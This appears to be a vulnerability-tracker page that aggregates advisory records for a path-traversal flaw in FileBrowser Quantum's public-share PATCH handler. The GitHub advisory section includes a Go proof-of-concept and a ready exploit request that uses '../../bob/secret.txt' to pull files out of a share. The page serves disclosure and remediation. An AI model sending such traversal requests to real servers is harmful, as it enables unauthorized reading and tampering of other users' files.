FileBrowser Quantum: Path Traversal in public share PATCH allows file ops outside shared directory

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

FileBrowser Quantum is a free, self-hosted, web-based file manager. Versions prior to 1.3.2-stable, 1.4.0-beta and 1.4.1-beta are vulnerable to Path Traversal through the publicPatchHandler in backend/http/public.go which joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. This issue has been fixed in versions 1.3.3-stable and 1.4.2-beta.

Source published

16 Jun 2026 18:40:06 UTC

Source modified

17 Jun 2026 14:45:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

FileBrowser Quantum is a free, self-hosted, web-based file manager. Versions prior to 1.3.2-stable, 1.4.0-beta and 1.4.1-beta are vulnerable to Path Traversal through the publicPatchHandler in backend/http/public.go which joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. This issue has been fixed in versions 1.3.3-stable and 1.4.2-beta.

Source published

Jun 16, 2026, 6:40:06 PM (timezone not stated)

Source modified

Jun 17, 2026, 2:45:51 PM (timezone not stated)

Observed here

7 Nov 2026 11:30:37 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

FileBrowser Quantum is a free, self-hosted, web-based file manager. Versions prior to 1.3.2-stable, 1.4.0-beta and 1.4.1-beta are vulnerable to Path Traversal through the publicPatchHandler in backend/http/public.go which joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. This issue has been fixed in versions 1.3.3-stable and 1.4.2-beta.

Source published

16 Jun 2026 20:16:46 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 13:11:53 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary `publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated. A public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root. Verified on commit 869b640 (HEAD of `main` as of 2026-05-07). ## Details In `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`: ```go // backend/http/public.go (publicPatchHandler) for i := range req.Items { req.Items[i].FromSource = sourceName req.Items[i].FromPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372 req.Items[i].ToSource = sourceName req.Items[i].ToPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath) // line 374 } d.Data = req status, err := resourcePatchHandler(w, r, d) ``` `utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which calls `filepath.Clean` and resolves `..` segments. By the time the joined path reaches `resourcePatchHandler`, every `..` from the body has been collapsed: ```go // backend/http/resource.go (resourcePatchHandler) cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794 // ... cleanToPath, err := utils.SanitizeUserPath(item.ToPath) // line 800 ``` `SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target. The share owner's user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`). The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated. For comparison, the same file's `publicPutHandler` uses the safe order: ```go // backend/http/public.go (publicPutHandler) -- safe order cleanPath, err := utils.SanitizeUserPath(path) // sanitize FIRST if err != nil { return http.StatusBadRequest, err } resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join ``` ## PoC The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`. ```go package main import ( "fmt" "path/filepath" "runtime" "strings" ) // Verbatim from backend/common/utils/file.go func SanitizeUserPath(userPath string) (string, error) { clean := filepath.Clean(userPath) for _, segment := range strings.Split(clean, string(filepath.Separator)) { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } if clean == "." { return "", fmt.Errorf("invalid path: path must standard index path") } return clean, nil } // Verbatim from backend/common/utils/main.go func JoinPathAsUnix(parts ...string) string { p := filepath.Join(parts...) if runtime.GOOS == "windows" { p = strings.ReplaceAll(p, "\\", "/") } return p } func main() { sharePath := "/users/alice/shared/" // d.share.Path (server-controlled) attackerInput := "../../bob/secret.txt" // publicPatchHandler line 372: join BEFORE sanitize joined := JoinPathAsUnix(sharePath, attackerInput) // resourcePatchHandler line 794: sanitize the already-joined path sanitized, err := SanitizeUserPath(joined) fmt.Printf("attacker input: %q\n", attackerInput) fmt.Printf("after join: %q\n", joined) fmt.Printf("sanitizer err: %v\n", err) fmt.Printf("sanitized path: %q\n", sanitized) } ``` Output: ``` attacker input: "../../bob/secret.txt" after join: "/users/bob/secret.txt" sanitizer err: <nil> sanitized path: "/users/bob/secret.txt" ``` The path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `<source-root>/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE. End-to-end exploit request shape: ``` PATCH /public/api/resources?hash=<share-hash> HTTP/1.1 Content-Type: application/json { "action": "rename", "items": [ { "fromSource": "default", "fromPath": "../../bob/secret.txt", "toSource": "default", "toPath": "stolen.txt" } ] } ``` After the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope. ## Impact An unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns: 1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read. 2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them). Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.

Source published

22 May 2026 17:26:25 UTC

Source modified

25 Jun 2026 23:11:33 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · CRITICAL

FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory in github.com/gtsteffaniak/filebrowser/backend

Source published

25 Jun 2026 22:34:34 UTC

Source modified

25 Jun 2026 23:01:24 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.